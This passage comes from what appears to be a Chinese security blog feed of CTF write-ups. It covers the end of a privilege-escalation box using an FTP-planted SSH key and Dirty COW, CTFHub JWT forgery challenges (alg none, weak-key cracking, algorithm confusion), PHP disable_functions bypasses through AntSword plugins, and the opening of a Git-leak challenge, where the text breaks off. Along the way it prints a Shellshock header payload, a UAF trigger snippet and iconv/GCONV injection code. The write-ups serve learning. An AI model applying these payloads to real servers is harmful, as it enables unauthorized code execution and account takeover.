&lt;img src=&quot;https://www.dxowo8.top/_astro/14.CEkuOGHO_Z2b23uA.webp&quot; alt=&quot;key&quot; /&gt;&lt;/li&gt;
&lt;li&gt;综合以上，我们可以通过ftp服务往用户/home目录传文件，用工具生成一对密钥，如图。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.-QenIWDi_PaH4E.webp&quot; alt=&quot;uploadkey&quot; /&gt;&lt;/li&gt;
&lt;li&gt;按照如下方式将公钥重命名传到目标路径，并通过ssh指定密钥文件连接，拿下初始shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.CV00kyVg_1jgKnc.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;经过一番搜索，包括对特权文件，自动任务，sudo权限等搜索，照应最开头的系统版本扫描，确认了内核版本较低，可能可以通过内核提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.HYmKY1Hc_Z1Ptjcy.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;上传linpeas到靶机上辅助判断，来给我们尝试优先级，力求减少尝试次数。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.BYs_4LEz_Z21rGOX.webp&quot; alt=&quot;linpeas&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据linpeas在靶机上的执行结果，从中找到优先度高的逐一尝试，很多可能无法成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.D9zC517P_Z1iKEqM.webp&quot; alt=&quot;try&quot; /&gt;&lt;/li&gt;
&lt;li&gt;有经验的可能会记得，该版本属于dirty cow影响版本，也可以搜索到利用脚本尝试。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.BWbgwjEw_Z240hBP.webp&quot; alt=&quot;dc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试40616.c，按照流程上传编译，执行时需要时补充参数，拿下root。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.BFKRvQ92_eSFJg.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本靶机涉及nfs，smb，ftp等文件服务，会涉及不同探测和连接方式，关于这三种简单总结。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;FTP：文件上传下载，泄露配置文件/日志/备份；可写利用方式：上传webshell或.ssh/authorized_keys。&lt;/li&gt;
&lt;li&gt;SMB：Windows文件共享，泄露用户列表/组策略/密码文件；可写利用方式：上传恶意文件或可执行脚本。&lt;/li&gt;
&lt;li&gt;NFS：Linux网络文件系统，泄露导出目录结构/敏感数据；可写利用方式：本地挂载后写入公钥或植入SUID文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;脏牛漏洞（Dirty COW）是Linux系统中的本地提权漏洞，分为 1.0（CVE-2016-5195）和2.0（CVE-2022-0847）两个版本，该漏洞是Linux内核的内存子系统在处理写Copy-on-Write时存在条件竞争，导致可以破坏私有只读内存映射，进而修改其它只读内存映射，达到提升权限效果，主要影响2.6.22 &amp;lt; 3.9的linux系统，详细分析可见文章&lt;a href=&quot;https://www.seebug.org/vuldb/ssvid-92488&quot;&gt;&apos;https://www.seebug.org/vuldb/ssvid-92488&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;关于linpeas：linpeas是一款linux权限提升检测工具，会对可能导致权限提升的路径进行不同颜色区分标注，部署和使用十分简单，关于复杂参数和定制化扫描等可见文章&lt;a href=&quot;https://blog.csdn.net/gitblog_00875/article/details/154962858&quot;&gt;&apos;https://blog.csdn.net/gitblog_00875/article/details/154962858&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>CTFHUB-skilltree-JWT</title><link>https://www.dxowo8.top/posts/post-22/22/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-22/22/</guid><description>记录CTFHUB-skilltree-JWT解题记录和简要原理分析</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTFHUB-skilltree-JWT&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为CTFHUB平台技能树WEB进阶模块部分习题解题记录，用于个人学习总结和原理分享，所用jwt网站地址为&lt;a href=&quot;https://www.json.cn/jwt&quot;&gt;&apos;https://www.json.cn/jwt&apos;&lt;/a&gt;，c-jwt-cracker下载连接为&lt;a href=&quot;https://github.com/brendan-rius/c-jwt-cracker&quot;&gt;&apos;https://github.com/brendan-rius/c-jwt-cracker&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;JWT简介&lt;/h2&gt;
&lt;p&gt;Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准（&lt;a href=&quot;https://tools.ietf.org/html/rfc7519&quot;&gt;RFC 7519&lt;/a&gt;。
该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景，是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须的声明信息，该token也可直接被用于认证，也可被加密。
以上引用自CTFHUB对于JWT的简介题，原理简易阅读文章&lt;a href=&quot;https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob&quot;&gt;&apos;https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob&apos;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;T1 无签名&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;阅读题目，提示本题解决方案为将alg字段置为none，后端将不进行签名校验。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a1.pLUyzf1q_92bO6.webp&quot; alt=&quot;Question&quot; /&gt;&lt;/li&gt;
&lt;li&gt;登入admin+随便一个密码，提示只有认证为admin才能查看flag，在此页面刷新抓包，对于token分段进行base64url解码（burp即可）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a2.BTKkvZRS_Z1r3dvF.webp&quot; alt=&quot;de&quot; /&gt;&lt;/li&gt;
&lt;li&gt;修改为如图，分别进行base64url编码，这里不需要第三部分，因为签名算法已经设置为none。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a3.CBcg_SMc_YjxAj.webp&quot; alt=&quot;en&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发包拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a4.B91ubBCg_WYliN.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T2 弱密钥&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;题目提示，存在对称加密算法密钥强度较弱被破解出密钥的可能。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b1.DGnQoImW_Zi46hI.webp&quot; alt=&quot;Question&quot; /&gt;&lt;/li&gt;
&lt;li&gt;同样的，我们登入后抓一个包放到Repeater。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b2.8ZE3oRTR_fCvRe.webp&quot; alt=&quot;re&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将c-jwt-craker工具下载到kali，并且执行make指令编译，再按照如图粘贴token，进行破解。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b3.CaLDUL2N_10jEx3.webp&quot; alt=&quot;craker&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进入jwt破解网站，修改role：admin以及对称密钥，将编码后的token复制下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b4.C1oxn377_1N3uyl.webp&quot; alt=&quot;Question&quot; /&gt;&lt;/li&gt;
&lt;li&gt;重置发包，获得flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b5.B6OaFbYQ_Z1JXvU3.webp&quot; alt=&quot;Question&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T3 修改签名算法&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;题目提示为当获得公钥时可以将JWT头部加密算法修改，以修改为对称加密达成攻击目的。
&lt;img src=&quot;https://www.dxowo8.top/_astro/c1.DacWweHN_Z1WTziI.webp&quot; alt=&quot;Question&quot; /&gt;&lt;/li&gt;
&lt;li&gt;login页面源代码暴露了漏洞，下面这段代码使得用户可以修改签名算法（如HS256），从而用户使用页面提供的公钥作为HAMC密钥伪造token，验证为admin。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;$header = JWTHelper::getHeader($token);  // 从token读取 alg
$algs = array_merge(array($header-&amp;gt;alg, $alg));  // 用户可控的算法
return JWT::decode($token, $key, $algs);  // 使用用户指定的算法验证
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/c2.DjgqpQ3f_1fVqjR.webp&quot; alt=&quot;code&quot; /&gt;
3. 将该页面的公钥保存到本地。
&lt;img src=&quot;https://www.dxowo8.top/_astro/c3.C1gThvC-_wdYOq.webp&quot; alt=&quot;pem&quot; /&gt;
4. 写一个代码用于将公钥的.pem文件加工为token，由于存在换行等情况，用在线网站加密出的token可能有误，或者可以参考其它加工程序，生成token替换数据包内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/c4.DKB5EFyy_ns8WJ.webp&quot; alt=&quot;en&quot; /&gt;
5. 重制发包获得flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/c5.CwbfPOqP_gq5HS.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>CTFHUB-skilltree-Bypass disable_function</title><link>https://www.dxowo8.top/posts/post-21/21/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-21/21/</guid><description>记录CTFHUB-skilltree-Bypass disable_function解题记录和简要原理分析</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTFHUB-skilltree-Bypass disable_function&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为CTFHUB平台技能树WEB进阶模块部分习题解题记录，用于个人学习总结和原理分享，部分内容为经查阅总结所得，可能存在错误或者表述不当，仅供参考，以及因能力有限和时间原因，暂时仅给出蚁剑插件利用过程和原理分析，后续可能会有其它解法补充。&lt;/li&gt;
&lt;li&gt;蚁剑插件源码下载&lt;a href=&quot;https://github.com/Medicean/as_bypass_php_disable_functions/&quot;&gt;&apos;https://github.com/Medicean/as_bypass_php_disable_functions/&apos;&lt;/a&gt;，可直接在蚁剑应用内插件商店直接下载。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T1 LD_PRELOAD&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;CTFHub官方WP：LD_PRELOAD是Linux系统的一个环境变量，它可以影响程序的运行时的链接（Runtime linker），它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。putenv()用来改变或增加环境变量的内容. 参数string 的格式为name＝value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.&lt;/li&gt;
&lt;li&gt;来到靶场，看到该页面存在一个小马，用ant连接，打开蚁剑连接该文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a1.DBC0sDc2_Z18ISaO.webp&quot; alt=&quot;web&quot; /&gt;&lt;/li&gt;
&lt;li&gt;连接后经过检查发现无法在虚拟终端执行命令，选择蚁剑插件的disable_functions插件，选择LD_PRELOAD模式点确认，提示生成了一个名为.antproxy.php，其作用流程大致如下（以whoami为例）：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;蚁剑终端输入 whoami；&lt;/li&gt;
&lt;li&gt;发送加密命令到 .antproxy.php；&lt;/li&gt;
&lt;li&gt;.antproxy.php 解密命令；&lt;/li&gt;
&lt;li&gt;检查 /tmp/hack.so 是否存在；&lt;/li&gt;
&lt;li&gt;不存在则写入 hack.so；&lt;/li&gt;
&lt;li&gt;putenv(&quot;LD_PRELOAD=/tmp/hack.so&quot;)；&lt;/li&gt;
&lt;li&gt;error_log(&quot;whoami&quot;, 1) 触发 sendmail；&lt;/li&gt;
&lt;li&gt;sendmail 进程加载 hack.so；&lt;/li&gt;
&lt;li&gt;hack.so 构造函数执行；&lt;/li&gt;
&lt;li&gt;unsetenv(&quot;LD_PRELOAD&quot;)；&lt;/li&gt;
&lt;li&gt;system(&quot;whoami&quot;) 执行；&lt;/li&gt;
&lt;li&gt;结果写入 /tmp/result；&lt;/li&gt;
&lt;li&gt;.antproxy.php 读取 /tmp/result；&lt;/li&gt;
&lt;li&gt;加密输出结果；&lt;/li&gt;
&lt;li&gt;返回加密结果给蚁剑；&lt;/li&gt;
&lt;li&gt;蚁剑解密并显示 whoami 输出）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a2.Cdh4FcHe_1YQQV.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;重新配置并连接该.antproxy.php文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a3.jVE3rcAP_1uthJK.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;浏览根目录发现/readflag和/flag文件，flag无法直接读取，看到/readfile执行读取flag的命令，并且认为tac是可用的，对flag进行读取。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a4.ceFL8eSY_Z20dfMi.webp&quot; alt=&quot;process&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/a5.cxm0jO9K_Z14egtJ.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;或者更好是执行./readflag，会自动读取flag内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/a6.C_jfFry1_Z2fsjUb.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于LD_PRELOAD的利用条件，可参考下图总结。
&lt;img src=&quot;https://www.dxowo8.top/_astro/as.BP0eAG5N_2acgdp.webp&quot; alt=&quot;sum&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T2 SHELL_SHOCK&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Shellshock是Bash程序的一个漏洞。当Bash遇到以&lt;code&gt;(){&lt;/code&gt;开头的环境变量时，会错误地执行后面跟的命令。
Apache的mod_cgi模块会把 HTTP 请求头（比如 User-Agent）设置成环境变量传给CGI脚本。如果CGI脚本由Bash执行，攻击者可以把恶意命令放在请求头里，比如 &lt;code&gt;User-Agent: () { :; }; /bin/ls&lt;/code&gt;，Bash解析时就会触发漏洞，额外执行/bin/ls。&lt;/li&gt;
&lt;li&gt;回到靶场，题目依旧给出小马，用蚁剑连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b1.CWtUorm__YRgBz.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;连接时候注意编码，不然连不上，可切换base64编解码，成功连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b2.Da0awwkC_Z2qVUg7.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现其它目录权限被禁止。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b3.DGFjFM-6_2uJdSO.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用Apache_mod_cgi模式拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/b4.BFDVa0pt_Z1zK9W8.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T3 Apache_mod_cgi&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Apache_mod_cgi模式的核心原理，是完全不依赖PHP来执行系统命令，直接绕过了整个disable_functions的限制机制，通过上传配置文件&lt;code&gt;.htaccess&lt;/code&gt;使得Apache将所有以&lt;code&gt;.xxx&lt;/code&gt;结尾的文件，都当成CGI程序来执行,这之后上传一个该后缀名的恶意shell脚本，通过访问该脚本，运行该shell脚本。&lt;/li&gt;
&lt;li&gt;利用需要满足条件为：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Web 服务器必须是 Apache。&lt;/li&gt;
&lt;li&gt;Apache 必须加载了 mod_cgi 模块。&lt;/li&gt;
&lt;li&gt;Apache 的配置必须允许使用.htaccess文件（即AllowOverride不为None）。&lt;/li&gt;
&lt;li&gt;当前目录必须有文件写入权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;执行如T2流程，拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/c1.CKlERRjo_26NCyD.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;li&gt;联想：这种思路在文件上传漏洞利用的时候也有用到，通过上传图片马和.htaccess将图片作php解析来连接，利用条件近似，只不过本模式将目标执行环境转化为系统shell执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T4 PHP-FPM&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;简介：PHP-FPM（PHP FastCGI Process Manager）是PHP的一个进程管理器，它作为FastCGI进程管理器来运行，负责处理来自Web服务器（如 Nginx、Apache）的PHP请求。&lt;/li&gt;
&lt;li&gt;该模式原理：伪造一个FastCGI客户端，直接和PHP-FPM通信，PHP-FPM通过FastCGI协议接收请求时，允许客户端传递PHP_VALUE和PHP_ADMIN_VALUE参数，动态修改PHP配置，比如设置&lt;code&gt;auto_prepend_file = php://input&lt;/code&gt;让PHP执行HTTP请求体中的代码、临时覆盖&lt;code&gt;disable_functions&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;将插件配置中地址选择为如图地址（即PHP-FPM运行端口），添加数据连接上传的.antproxy.php。
&lt;img src=&quot;https://www.dxowo8.top/_astro/d1.CgzbqLHi_Z2q7tYL.webp&quot; alt=&quot;process&quot; /&gt;&lt;/li&gt;
&lt;li&gt;一样到根目录执行./readflag拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/d2.Bw89FbfY_zLsbw.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T5 GC UAF&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本题环境为php7-gc-bypass漏洞，影响范围是linux、php7.0-7.3，可利用PHP garbage collector程序中的堆溢出触发进而执行命令。&lt;/li&gt;
&lt;li&gt;蚁剑的GC-UAF模式利用的是PHP7.0-7.3版本中垃圾回收机制的一个内存漏洞，通过向服务器发送一个特制的反序列化字符串，在PHP堆中构造出一个包含循环引用的复杂数据结构，当垃圾回收器处理这个结构时会产生逻辑错误，导致一个正在被使用的PHP数组对象被错误地提前释放形成UAF状态，随后通过精确的内存布局操作在被释放的内存空间上覆盖一个伪造的zend_object结构，将其内部的函数表指针劫持指向system等危险函数，最终当PHP代码（如对象析构时的__destruct方法）间接调用这个伪造对象时，程序流程就被成功劫持并执行任意系统命令，从而完全绕过disable_functions的限制。&lt;/li&gt;
&lt;li&gt;通过蚁剑利用方法还是很简单的，依旧选择该模式到根目录执行./readflag拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/e1.DsTBOTHe_ZtfR8i.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T6 Json Serializer UAF&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;漏洞介绍报告可参考&lt;a href=&quot;https://bugs.php.net/bug.php?id=77843&quot;&gt;&apos;https://bugs.php.net/bug.php?id=77843&apos;&lt;/a&gt;，简单说，在PHP 7.3.3 及之前的多个版本中，存在释放后使用（Use-After-Free，UAF），可能导致内存破坏，在特定条件下可被利用执行任意代码，如下图测试代码，&lt;code&gt;json_encode([&amp;amp;$arr])&lt;/code&gt;开始执行，编码器发现&lt;code&gt;$arr&lt;/code&gt;是一个数组，开始遍历其元素，&lt;code&gt;$arr[0]&lt;/code&gt;是一个实现了JsonSerializable接口的X对象实例，在jsonSerialize()方法内执行了&lt;code&gt;unset($arr[0])&lt;/code&gt;，删除了外层数组&lt;code&gt;$arr&lt;/code&gt;的第一个元素，即正在被编码的这个对象本身，此时该数组不在引用X对象，PHP垃圾回收机制可能会将内存回收，jsonSerialize()方法执行完毕，返回&lt;code&gt;$this&lt;/code&gt;，而此处内存已经被释放，导致程序崩溃。
&lt;img src=&quot;https://www.dxowo8.top/_astro/fq.DDHXOnvy_Z1hkuxW.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;li&gt;该插件利用已有的一句话木马，上传一个php代码触发UAF漏洞，通过操纵内存布局，将程序中原有的函数指针，覆盖为system等危险函数的地址，从而生成一个代理shell。&lt;/li&gt;
&lt;li&gt;同样的利用思路，选择对应模式拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/f1.9ZL4QJqm_IQQLy.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T7 BackTrace UAF&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;漏洞介绍报告可参考&lt;a href=&quot;https://bugs.php.net/bug.php?id=76047&amp;amp;edit=1&quot;&gt;&apos;https://bugs.php.net/bug.php?id=76047&amp;amp;edit=1&apos;&lt;/a&gt;，给出的测试php代码如下（关键代码已标注功能），在蚁剑中，通过原shell上传脚本，通过改造的vuln类，探测版本确定偏移量，搜索system地址，在释放内存位置写入恶意数据，然后触发__destruct()来触发UAF，并访问已经被释放内存，执行恶意数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Vuln {
    public $a;
    public function __destruct() { 
        global $backtrace; 
        unset($this-&amp;gt;a); //释放$a指向的字符串
        $backtrace = (new Exception)-&amp;gt;getTrace(); //生成异常回溯信息（调用时会遍历调用栈，收集每个栈帧信息，且会访问栈帧的变量：包括释放的变量，进而触发UAF）
    }
}

function trigger_uaf($arg) {
    $arg = str_shuffle(str_repeat(&apos;A&apos;, 79));//创建一个字符串
    $vuln = new Vuln();
    $vuln-&amp;gt;a = $arg;//该对象a属性指向字符串
}
// 调用触发
trigger_uaf(&apos;x&apos;);

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;同样的利用思路，选择对应模式拿到flag。
&lt;img src=&quot;https://www.dxowo8.top/_astro/g1.Bfh4RYx6_109rrR.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T8 FFI 扩展&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;题目：FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代码。并且环境中给出参考的FFI详解：&lt;a href=&quot;https://www.laruence.com/2020/03/11/5475.html&quot;&gt;&apos;https://www.laruence.com/2020/03/11/5475.html&apos;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;阅读完FFI扩展的基本功能，大致能绕过原理：通过FFI直接调用C标准库的system()等函数，完全绕过PHP层面的disable_functions限制。插件可能的功能和流程为：利用shell上传利用脚本-&amp;gt;检测PHP版本和FFI扩展-&amp;gt;用FFI::cdef()加载libc.so-&amp;gt;向FFI声明C语言system()函数原型-&amp;gt;调用函数并且返回执行结果。&lt;/li&gt;
&lt;li&gt;插件利用方式如图，不多介绍。
&lt;img src=&quot;https://www.dxowo8.top/_astro/h1.v17a0OTr_X6jMD.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于使用FFI扩展的防护方法，文章给出通过设置&lt;code&gt;ffi.enable=preload&lt;/code&gt;，把所有会调用FFI API的函数都定义在preload脚本中，所有的FFI API只能被可控制的preload脚本调用，详细可以阅读原文。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T9 iconv&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;使用相同的利用插件思路可以轻松拿到flag，暂时不放过程了。&lt;/li&gt;
&lt;li&gt;利用背景条件：当linux系统下，PHP环境启用了iconv扩展且putenv()函数未被禁用时，可以利用PHP的iconv扩展 + GCONV环境变量劫持来绕过disable_functions。&lt;/li&gt;
&lt;li&gt;通过分析插件原码&lt;a href=&quot;https://github.com/Medicean/as_bypass_php_disable_functions/blob/master/core/iconv/index.js&quot;&gt;&apos;https://github.com/Medicean/as_bypass_php_disable_functions/blob/master/core/iconv/index.js&apos;&lt;/a&gt;,在插件对环境进行检查后，通过下列代码生成了恶意的gconv模块，此句cmd用PHP内置的Web服务器在随机端口启动服务（该环境不受Web环境disable_functions限制）。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
let fileBuffer = self.generateExt(cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后如下代码将生成的.so文件传到可写目录,通过new Promise包装上传操作，上传成功后调用res(ext_path)将.so文件的路径传递出去，在后续.then((p) =&amp;gt; {...})中接收这个路径，一方面通过path.dirname(p)获取目录用于设置GCONV_PATH，另一方面用p.substring(0, p.length-3)去掉.so 后缀后写入gconv-modules 配置文件中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
core.request(
  core.filemanager.upload_file({
    path: ext_path,
    content: fileBuffer
  })
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面这段中，payload内容为写入gconv-modules配置文件，指定自定义gconv目录，触发iconv()调用加载.so模块，进而启动PHP内置Web服务器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var payload = `file_put_contents(&quot;${payloaddir}/gconv-modules&quot;,base64_decode(&quot;${gconvmodules}&quot;)); //在gconv-modules配置文件写入恶意.so的目录。
putenv(&quot;GCONV_PATH=${payloaddir}&quot;); //让iconv()在${payloaddir}目录读取gconv-modules配置文件
if(function_exists(&apos;iconv&apos;)){
  iconv(&quot;payload&quot;,&quot;UTF-8&quot;,&quot;whatever&quot;); //iconv被触发，按照顺序执行payload。
}else if(function_exists(&apos;iconv_strlen&apos;)){ //备选
  iconv_strlen(&quot;1&quot;,&quot;payload&quot;);
}else if(function_exists(&apos;file_get_contents&apos;)){ //备选
  @file_get_contents(&quot;php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==&quot;);
}else{
  @fopen(&apos;php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==&apos;,&apos;r&apos;);
};
echo(1);`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于本块篇幅过长，后面代码分析暂时省略，大致是通过请求传递payload，插件通过fsockopen()检测指定端口是否开放，确认PHP内置Web服务器成功启动，接着通过uploadProxyScript()方法写入一个代理脚本（.antproxy.php），蚁剑自动添加该脚本作为新的Shell连接，便获得了一个绕过disable_functions限制的WebShell。&lt;/p&gt;
</content:encoded></item><item><title>CTFHUB-skilltree-Git/SVN/HG泄露解题记录</title><link>https://www.dxowo8.top/posts/post-20/20/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-20/20/</guid><description>记录CTFHUB-skilltree-Git/SVN/HG泄露解题记录</description><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTFHUB-skilltree-Git/SVN/HG泄露解题记录&lt;/h1&gt;
&lt;h2&gt;T1 Git-Log&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;阅读题目信息，指出可以下载工具GitHack，在ctfhub.com的工具集可以搜索下载。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BpKyCUng_Z1LOApT.webp&quot; alt=&quot;info&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DmI78F9X_Z1Si5qQ.webp&quot; alt=&quot;tool&quot; /&gt;&lt;/li&gt;
&lt;li&gt;阅读工具使用方法为&lt;code&gt;python GitHack.py http://www.xx.com/.git&lt;/code&gt;，此举旨在当该网站.git文件暴露时，使用HTTP协议逐个文件下载.git内部文件（不需要git端口开放），执行语句。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.DbiT-GZV_Z1oBRip.webp&quot; alt=&quot;githack&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.Bytk5OYa_ZcPa6F.webp&quot; alt=&quot;execute&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;git log&lt;/code&gt;查看完整git提交历史，存在add flag和remove flag记录，试着&lt;code&gt;git diff xxx&lt;/code&gt;查看内容修改的记录，由于git会保存修改记录的特性，通过查看日志，我们仍然获取了删去的flag内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.DkiahZpN_zTrA7.webp&quot; alt=&quot;log&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.CbSupUaE_2zYnI.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;T2 Git-Stash&lt;/h2&gt;
&lt;ol&gt;
